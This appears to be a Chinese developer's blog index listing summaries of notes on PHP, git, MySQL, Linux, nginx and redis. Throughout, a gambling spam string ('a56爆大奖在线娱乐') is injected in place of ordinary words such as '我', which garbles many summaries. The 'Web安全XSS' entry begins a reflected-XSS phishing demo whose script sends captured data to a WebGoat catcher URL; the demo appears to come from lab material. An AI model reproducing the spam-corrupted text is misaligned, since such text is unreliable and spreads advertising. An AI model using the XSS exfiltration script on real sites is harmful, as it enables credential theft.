2019年6月13日

PHP的按位运算符是什么意思

摘要: 按位运算符是什么意思? 按位运算符(Bitwise Operators)是用于对涉及单个位操作的位模式或二进制数字执行位操作的运算符。 按位运算符可以用于: 1、通信堆栈,其中标头中的各个位附加到数据a56爆大奖在线娱乐重要信息 2、嵌入式软件,用于控制芯片中的不同功能,并通过操纵嵌入式微控制器的硬件寄存器的各个位 阅读全文

posted @ 2019-06-13 20:59 andydaopeng 阅读(265) 评论(0) 推荐(0) 编辑

2019年5月8日

git 分支操作

摘要: 新建一个本地分支:$ git checkout -b dbg_lichen_star 查看一下现在的分支状态:$ git branch * dbg_lichen_star * dbg_lichen_star master master release 星号(*)a56爆大奖在线娱乐当前所在分支。现在的状态是成功创建 阅读全文

posted @ 2019-05-08 17:52 andydaopeng 阅读(142) 评论(0) 推荐(0) 编辑

2019年3月1日

php 技术知识点汇总

摘要: consul : 服务发现 做服务发现的框架常用的有 zookeeper eureka etcd consul zookeeper, php中的libzookeeper PHP使用 swagger 自动生成 API 文档 http://zhaopin.kono.top/?_c=dev firebug 阅读全文

posted @ 2019-03-01 18:33 andydaopeng 阅读(109) 评论(0) 推荐(0) 编辑

2019年2月28日

my -> mysql on duplicate key update使用总结

摘要: CREATE TABLE `t_duplicate` ( `a` int(11) NOT NULL, `b` int(255) DEFAULT NULL, `c` int(255) DEFAULT NULL, PRIMARY KEY (`a`) USING BTREE) ENGINE=InnoDB 阅读全文

posted @ 2019-02-28 16:18 andydaopeng 阅读(126) 评论(0) 推荐(0) 编辑

2019年2月27日

my-> git使用笔记

摘要: 要在本地新建分支test0227并切换到该分支,运行git checkoutout 并加上-b参数,如: git checkout -b test0227 这相当于执行下面这两条命令: git branch test0227 git checkout test0227 阅读全文

posted @ 2019-02-27 17:53 andydaopeng 阅读(87) 评论(0) 推荐(0) 编辑

2019年2月12日

window环境下使用PHP OpenSSL扩展函数返回false的原因

摘要: window环境下使用PHP OpenSSL扩展函数返回false的原因(openssl_pkey_new) 使用的开发环境是PHPstudy ,在使用OpenSSL的函数openssl_pkey_new()时,始终返回false,检查了环境,OpenSSL扩展已经开启,代码如下: $config 阅读全文

posted @ 2019-02-12 14:33 andydaopeng 阅读(1446) 评论(0) 推荐(0) 编辑

2018年12月27日

漫画:什么是分布式锁?

摘要: https://blog.csdn.net/lovesomnus/article/details/79696782 zookeeper实现: https://blog.csdn.net/lovesomnus/article/details/85215974 https://blog.csdn.net 阅读全文

posted @ 2018-12-27 09:55 andydaopeng 阅读(135) 评论(0) 推荐(0) 编辑

2018年10月15日

linux运维(重点)

摘要: linux 添加系统变量: export log="log-all-$(date +%Y-%m-%d).php" export log="log-all-$(date +%Y-%m-%d).php" 注意:date与+%Y之间有一个空格, +与+%Y之间没有空格export mlog="log-m- 阅读全文

posted @ 2018-10-15 09:40 andydaopeng 阅读(136) 评论(0) 推荐(0) 编辑

2018年10月10日

Apache/Nginx为PHP设置、添加$_SERVER服务器环境变量

摘要: 一、通过nginx的fastcgi_param来设置 在nginx配置文件中,可以在nginx总体的配置文件nginx.conf中,也可以在单独的网站配置环境中进行设置,如:www.tomener.com.conf 在配置环境server段location中添加相应的配置信息: 这里只添加了fast 阅读全文

posted @ 2018-10-10 17:18 andydaopeng 阅读(3308) 评论(0) 推荐(0) 编辑

2018年9月27日

maxwell简单部署使用

摘要: 详细资料可以参考maxwell官网 (mysql + maxwell + kafka + elasticsearch) 说明:a56爆大奖在线娱乐主要是关于配置maxwell监听mysql的数据修改并实时将修改内容同步到kafka中。 - 配置mysql启用binlog 配置/etc/my.cnf,然后重启mysq 阅读全文

posted @ 2018-09-27 14:26 andydaopeng 阅读(1775) 评论(0) 推荐(0) 编辑

2018年9月19日

centos7.3 开放端口 防火墙端口

摘要: 1. 查看已打开的端口 # netstat -anp 2. 查看想开的端口是否已开 # firewall-cmd --query-port=666/tcp 若此提示 FirewallD is not running a56爆大奖在线娱乐为不可知的防火墙 需要查看状态并开启防火墙 3. 查看防火墙状态 # syste 阅读全文

posted @ 2018-09-19 19:19 andydaopeng 阅读(333) 评论(0) 推荐(0) 编辑

2018年8月23日

linux grep 搜索查找

摘要: 查找关键字在哪些文件夹中的哪些文件中出现(只列出文件名称): grep -l 15386257298 */* 查找关键字在哪些文件夹中的哪些文件中出现(列出文件名称+关键字): grep -o 15386257298 */* [linux]grep 查看前后文 阅读全文

posted @ 2018-08-23 17:01 andydaopeng 阅读(5220) 评论(0) 推荐(0) 编辑

2018年7月20日

codeigniter视图

摘要: 怎么加载视图? 例如a56爆大奖在线娱乐们有一个视图在 application/views/welcome.php 视图可以在子目录中, 例如: application/views/html/welcome.php 怎么向视图传递动态变量 a56爆大奖在线娱乐们目前有welcome.php这个视图, 现在a56爆大奖在线娱乐们给它的代码是 在渲染视图时 阅读全文

posted @ 2018-07-20 19:28 andydaopeng 阅读(138) 评论(0) 推荐(0) 编辑

2018年7月9日

codeigniter 使用

摘要: CodeIgniter系列 记录count和分页 对于某个表的不带条件的count,可以简单的用 $total = $this->db->count_all($table_name) 来获取,但是如果有条件,则要用count_all_results $this->db->where('sex', ' 阅读全文

posted @ 2018-07-09 09:11 andydaopeng 阅读(100) 评论(0) 推荐(0) 编辑

2018年6月29日

apache url rewrite问题

摘要: apache RewriteEngine Your browser sent a request that this server could not understand http://www.rainleaves.com/html/1569.html 在httpd.conf中设置%{REQUES 阅读全文

posted @ 2018-06-29 10:59 andydaopeng 阅读(289) 评论(0) 推荐(0) 编辑

2018年6月21日

PHP如何在页面中原样输出HTML代码

摘要: 字符串与HTML之间的相互转换主要应用htmlentities()函数来完成。 [php] view plain copy header("Content-Type: text/html; charset=utf-8"); $str="<a href=\"www.107lab.com\">107网站 阅读全文

posted @ 2018-06-21 18:05 andydaopeng 阅读(381) 评论(0) 推荐(0) 编辑

2018年5月8日

php识别二维码

摘要: 下载二维码识别库 include_once LIB_ROOT_PATH . '3rdParty/QRReader/lib/QrReader.php';// 引入识别二维码插件 // 读取二维码的缩略图并识别,识别二维码 $qrcode = new \QrReader('./temp/Upload/i 阅读全文

posted @ 2018-05-08 16:53 andydaopeng 阅读(302) 评论(0) 推荐(0) 编辑

2018年4月27日

MySQL 加锁处理分析

摘要: MySQL 加锁处理分析 http://hedengcheng.com/?p=771 MySQL 加锁处理分析 1 背景 1 1.1 MVCC:Snapshot Read vs Current Read 2 1.2 Cluster Index:聚簇索引 3 1.3 2PL:Two-Phase Loc 阅读全文

posted @ 2018-04-27 16:53 andydaopeng 阅读(210) 评论(0) 推荐(0) 编辑

2018年3月29日

linux 项目管理、服务器管理、服务器维护

摘要: 代码打包:tar -zcvf ImOra.3.2.6.tgz --exclude=Public/.htaccess --exclude=Apps/Demo Apps/ Config/ Shell/ Libs/ Public/ 阅读全文

posted @ 2018-03-29 14:21 andydaopeng 阅读(162) 评论(0) 推荐(0) 编辑

2018年1月12日

shell脚本 linux脚本

摘要: linux:shell 脚本 如果判断当前时间 是不是12点之前 用date命令先取得当前的时间(仅取小时数) : date '+%H' #按24小时制取hour (00..23) 然后与12进行比较,判断是不是12点之前 #!/usr/bash hh=`date '+%H'` if [ $hh - 阅读全文

posted @ 2018-01-12 16:49 andydaopeng 阅读(168) 评论(0) 推荐(0) 编辑

2017年10月26日

PHP的fsockopen方式访问接口慢的原因与优化方案

摘要: 在开发过程中常常遇到这样的需求,模拟浏览器访问某接口,并获取返回数据。a56爆大奖在线娱乐们比较常使用的方法是fsockopen与接口建立连接,然后发出指令,然后通过fgets接受返回值。但是a56爆大奖在线娱乐们发现,通过PHP模拟访问接口往往比浏览器访问同样的接口慢很多。这个问题困扰过a56爆大奖在线娱乐很久,今天终于找到原因了。a56爆大奖在线娱乐看网上很多朋友有 阅读全文

posted @ 2017-10-26 21:12 andydaopeng 阅读(313) 评论(0) 推荐(0) 编辑

2017年9月23日

微信调试模式,线上转为线下调试模式

摘要: 微信消息调试:include_once 'Base/jssdk.php';$jssdk = new \JSSDK(C('Wechat')['AppID'], C('Wechat')['AppSecret']);$url = 'http://192.168.71.24/demo/wechat/list 阅读全文

posted @ 2017-09-23 22:20 andydaopeng 阅读(676) 评论(0) 推荐(0) 编辑

2017年8月29日

php 开发 错误汇总

摘要: 【问题】nginx thinkphp中 除首页外全显示404 Not Found,非rewrite问题,Linux+nginx环境 【解决方案】: 1、在nginx下重新支持pathinfo模式 2、修改thinkphp 的URL_MODEL模式为兼容模式(值改为3) apache thinkphp 阅读全文

posted @ 2017-08-29 21:42 andydaopeng 阅读(145) 评论(0) 推荐(0) 编辑

2017年8月24日

php 经验之谈

摘要: 导出excel中文名乱码(保存文件名): hpexcel导出Excel文件时有两个主要的过程: 1、定义文件名 2、填充Excel数据 这两个过程中可能会出现一些乱码问题,下面a56爆大奖在线娱乐来说一下解决办法: 解决文件名的乱码: 乱码原因:客户使用的中文版Windows系统平台,而Windows平台的文件名编码 阅读全文

posted @ 2017-08-24 21:47 andydaopeng 阅读(195) 评论(0) 推荐(0) 编辑

2017年6月22日

3)nginx的启动与停止、重启,linux配置对外端口

摘要: 【启动】 启动代码格式:nginx安装目录地址 -c nginx配置文件地址例如: [root@LinuxServer sbin]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf 【停止】nginx的停止有三种方式: 阅读全文

posted @ 2017-06-22 12:31 andydaopeng 阅读(929) 评论(0) 推荐(0) 编辑

2017年5月4日

git 的使用

摘要: git 命令的使用介绍: git项目维护: https://git-scm.com/book/zh/v2/Git-%E5%88%86%E6%94%AF-%E5%88%86%E6%94%AF%E7%9A%84%E6%96%B0%E5%BB%BA%E4%B8%8E%E5%90%88%E5%B9%B6 3 阅读全文

posted @ 2017-05-04 17:44 andydaopeng 阅读(240) 评论(0) 推荐(0) 编辑

2016年11月29日

mysql基本定义--数据类型

摘要: 浮点数类型与定点数类型: MySQL中使用浮点数类型和定点数类型来a56爆大奖在线娱乐小数。 浮点数类型包括单精度浮点数(float型)和双精度浮点数(double型)。定点数类型就是decimal型。 OK,现在a56爆大奖在线娱乐们来看看这几种数据类型的取值范围和存数的字节数。 关于上表的解释: 1,Decimal型的取值范围和 阅读全文

posted @ 2016-11-29 17:15 andydaopeng 阅读(1038) 评论(0) 推荐(0) 编辑

2016年11月8日

Web安全XSS

摘要: Web安全XSS Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes 阅读全文

posted @ 2016-11-08 18:59 andydaopeng 阅读(452) 评论(0) 推荐(0) 编辑

SQL优化 csdn

摘要: 1.1.1 摘要 在开发过程中,a56爆大奖在线娱乐们不时会遇到系统性能瓶颈问题,而引起这一问题原因可以很多,有可能是代码不够高效、有可能是硬件或网络问题,也有可能是数据库设计的问题。 本篇博文将针对一些常用的数据库性能调休方法进行介绍,而且,为了编写高效的SQL代码,a56爆大奖在线娱乐们需要掌握一些基本代码优化的技巧,a56爆大奖在线娱乐,a56爆大奖在线娱乐们将 阅读全文

posted @ 2016-11-08 18:54 andydaopeng 阅读(784) 评论(0) 推荐(0) 编辑

数据库隔离级别

摘要: 数据库事务的隔离级别有4个,由低到高依次为Read uncommitted、Read committed、Repeatable read、Serializable,这四个级别可以逐个解决脏读、不可重复读、幻读这几类问题。 √: 可能出现 ×: 不会出现 脏读 不可重复读 幻读 Read uncomm 阅读全文

posted @ 2016-11-08 17:51 andydaopeng 阅读(2484) 评论(0) 推荐(0) 编辑

Web前段优化,提高加载速度 css

摘要: 前言: 在同样的网络环境下,两个同样能满足你的需求的网站,一个“Duang”的一下就加载出来了,一个纠结了半天才出来,你会选择哪个?研究表明:用户最满意的打开网页时间是2-5秒,如果等待超过10秒,99%的用户会关闭这个网页。也许这样讲,各位还不会有太多感触,接下来a56爆大奖在线娱乐列举一组数据:Google网站访 阅读全文

posted @ 2016-11-08 17:31 andydaopeng 阅读(9758) 评论(0) 推荐(3) 编辑

2016年11月7日

jquery的height()和javascript的height总结,js获取屏幕高度

摘要: jquery的height()和javascript的height总结,js获取屏幕高度在javascript和jquery中,都有对各种高度的写法,在这里,a56爆大奖在线娱乐们就着重讲一下窗口、文档等高度的理解。(宽度和高度差不多!)jquery的各种高度首先来说一说$(document)和$(window),如 阅读全文

posted @ 2016-11-07 10:55 andydaopeng 阅读(2543) 评论(0) 推荐(0) 编辑

2016年10月18日

highcharts笔记 highcharts学习 highcharts用法

摘要: 标示线:plotLines : 绘制线: ########################################################################################################################## Y轴a56爆大奖在线娱乐区域 阅读全文

posted @ 2016-10-18 21:47 andydaopeng 阅读(339) 评论(0) 推荐(0) 编辑

2016年10月12日

css笔记 css用法:

摘要: 前端框架:AdminLTE https://almsaeedstudio.com/themes/AdminLTE/index2.html CSS学习教程: http://www.divcss5.com/rumen/r74.shtml div 加滚动条: 父类定义高度和设置滚动属性,当子类内容高度超过 阅读全文

posted @ 2016-10-12 16:28 andydaopeng 阅读(156) 评论(0) 推荐(0) 编辑

2016年9月1日

linux之history

摘要: 1、使用HISTTIMEFORMAT在历史中显示TIMESTAMP 通常情况下,当你在命令行中键入history时,终端中将显示你刚输入的命令及其编号。如果出于审查命令的目的,和命令一起显示时间戳将会很有帮助,如下所示。 # export HISTTIMEFORMAT='%F %T ' # hist 阅读全文

posted @ 2016-09-01 14:02 andydaopeng 阅读(252) 评论(0) 推荐(0) 编辑

2016年8月19日

入门之--linux配置php

摘要: 【下载php源码】:从php的官方网站下载php的安装源码包。 【下载php源码】:从php的官方网站下载php的安装源码包。 【解压安装包】:下载的安装包是经过压缩的gz格式,在linux可以使用自带的工具tar进行解压,在安装包所在目录执行命令:tar -zxvf php-5.5.11.tar. 阅读全文

posted @ 2016-08-19 09:18 andydaopeng 阅读(128) 评论(0) 推荐(0) 编辑

2016年8月16日

php demo

摘要: //上一周最后一天,上一个月最后一天: $y = date('Y',strtotime($endTime)); $m = date('m',strtotime($endTime)); $d = date('d',strtotime($endTime)); switch($timeType){ //根 阅读全文

posted @ 2016-08-16 15:44 andydaopeng 阅读(570) 评论(0) 推荐(0) 编辑

2016年8月9日

ajax重写,js方法重新

摘要: 重写Jquery的$.ajax方法 http://fengfan876.iteye.com/blog/1541532 阅读全文

posted @ 2016-08-09 17:02 andydaopeng 阅读(1787) 评论(0) 推荐(0) 编辑

2016年7月15日

demo virdata 虚拟数据

摘要: $pageCurr = I('p',1); $start = ($pageCurr-1) * self::PAGE_RECORD_SCAN; $sort = I('sort'); $dataSet = array(); $tmpDate = array(); for($i=0;$i<100;$i++ 阅读全文

posted @ 2016-07-15 13:29 andydaopeng 阅读(135) 评论(0) 推荐(0) 编辑

2016年6月28日

linux服务器之redis

摘要: linux环境下安装redis服务器: redis下载地址:http://redis.io/download 启动redis的方法: 首先进入redis安装目录:cd /usr/local/redis/bin 然后执行:./redis-server /usr/local/redis/etc/redi 阅读全文

posted @ 2016-06-28 10:23 andydaopeng 阅读(1336) 评论(0) 推荐(0) 编辑